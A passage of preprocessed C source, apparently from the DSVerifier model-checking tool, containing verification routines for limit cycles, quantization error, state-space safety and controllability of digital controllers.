fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 58 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 128 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
shiftRDdouble(0, waux, Nw);
y[i] = double_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 56 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
shiftRDdouble(0, waux_qtz, Nw);
y_qtz[i] = double_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
shiftRDdouble(0, waux_double, Nw);
y_double[i] = double_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
